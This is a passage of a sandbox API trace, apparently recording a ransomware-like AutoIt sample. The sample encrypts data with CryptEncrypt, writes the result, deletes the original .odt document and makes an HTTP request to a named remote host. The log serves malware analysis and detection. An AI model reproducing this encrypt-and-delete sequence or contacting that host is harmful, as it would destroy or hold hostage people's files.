wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.079] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0074.079] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0074.079] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.079] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.079] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0074.079] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0074.080] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0074.080] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.080] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.080] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.080] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.080] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.080] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.080] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0074.081] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.081] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0074.081] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621648, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0074.081] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0074.081] CryptEncrypt (in: hKey=0x164c8f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x14636, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x14640) returned 1 [0074.081] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.081] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.081] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.081] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.081] CharLowerBuffW (in: lpsz="byte[83521]", cchLength=0xb | out: lpsz="byte[83521]") returned 0xb [0074.081] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.085] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.086] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.086] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0074.086] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0074.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621b88, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0074.086] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0074.086] CryptEncrypt (in: hKey=0x164c8f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x181dde0*, pdwDataLen=0x130e618*=0x14636, dwBufLen=0x14640 | out: pbData=0x181dde0*, pdwDataLen=0x130e618*=0x14640) returned 1 [0074.087] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.087] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.087] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.087] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.087] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.087] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.087] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0074.087] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.087] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0074.087] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0074.087] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0074.087] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.087] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0074.087] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0074.087] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.087] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.087] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.110] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.110] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.110] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.112] WriteFile (in: hFile=0x3ac, lpBuffer=0x17e0b20*, nNumberOfBytesToWrite=0x14640, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17e0b20*, lpNumberOfBytesWritten=0x130f01c*=0x14640, lpOverlapped=0x0) returned 1 [0074.115] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.115] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.115] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0074.115] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0074.115] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.115] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0074.115] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.115] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0074.115] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x16215a0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0074.116] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0074.116] CryptDestroyKey (hKey=0x164c8f0) returned 1 [0074.116] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0074.116] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0074.116] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0074.116] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0074.116] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0074.116] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0074.116] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0074.116] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0074.116] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0074.116] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0074.116] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0074.116] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0074.116] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0074.116] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0074.116] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.116] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0074.116] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.116] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0074.116] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0074.116] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0074.116] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.116] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0074.117] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0074.117] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.117] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.117] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0074.117] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0074.117] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0074.117] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.117] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0074.117] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e030, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0074.117] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0074.117] CryptReleaseContext (hProv=0x17aa010, dwFlags=0x0) returned 1 [0074.117] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.117] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.117] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0074.117] FreeLibrary (hLibModule=0x74c60000) returned 1 [0074.117] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.117] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.117] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.117] CloseHandle (hObject=0x3d0) returned 1 [0074.120] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.120] CloseHandle (hObject=0x3ac) returned 1 [0074.122] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.125] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0074.125] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\WKB4g3ijxppRx3mPue1E.odt", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\WKB4g3ijxppRx3mPue1E.odt", lpFilePart=0x0) returned 0x4b [0074.125] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\WKB4g3ijxppRx3mPue1E.odt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1y_l8q1mlp\\leytaif\\wkb4g3ijxpprx3mpue1e.odt")) returned 0x20 [0074.125] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\WKB4g3ijxppRx3mPue1E.odt", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c770 [0074.125] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\WKB4g3ijxppRx3mPue1E.odt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1y_l8q1mlp\\leytaif\\wkb4g3ijxpprx3mpue1e.odt")) returned 1 [0074.130] FindNextFileW (in: hFindFile=0x164c770, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0074.130] FindClose (in: hFindFile=0x164c770 | out: hFindFile=0x164c770) returned 1 [0074.131] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0074.131] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0074.131] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0074.131] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0074.131] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\xekRZ9KnauVFAja3J.odp", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d130 [0074.131] FindClose (in: hFindFile=0x164d130 | out: hFindFile=0x164d130) returned 1 [0074.131] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0074.131] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0074.131] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0074.131] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0074.131] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0074.131] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620eb0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620eb0, lpdwBufferLength=0x130ef8c) returned 1 [0074.132] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0074.132] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0074.132] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0074.134] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0074.134] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0074.134] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0074.134] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16291a0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16291a0*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0074.134] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292d0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292d0*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0074.134] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0074.134] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0074.137] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0074.137] CloseHandle (hObject=0x0) returned 0 [0074.137] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\xekRZ9KnauVFAja3J.odp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.137] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\xekRZ9KnauVFAja3J.odp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.137] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\xekRZ9KnauVFAja3J.odp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.137] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\xekRZ9KnauVFAja3J.odp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.137] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\xekRZ9KnauVFAja3J.odp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.137] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\xekRZ9KnauVFAja3J.odp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.137] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\xekRZ9KnauVFAja3J.odp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.137] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\xekRZ9KnauVFAja3J.odp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.137] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\xekRZ9KnauVFAja3J.odp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.137] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\xekRZ9KnauVFAja3J.odp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.137] CompareStringW (Locale=0x400, dwCmpFlags=0x1, 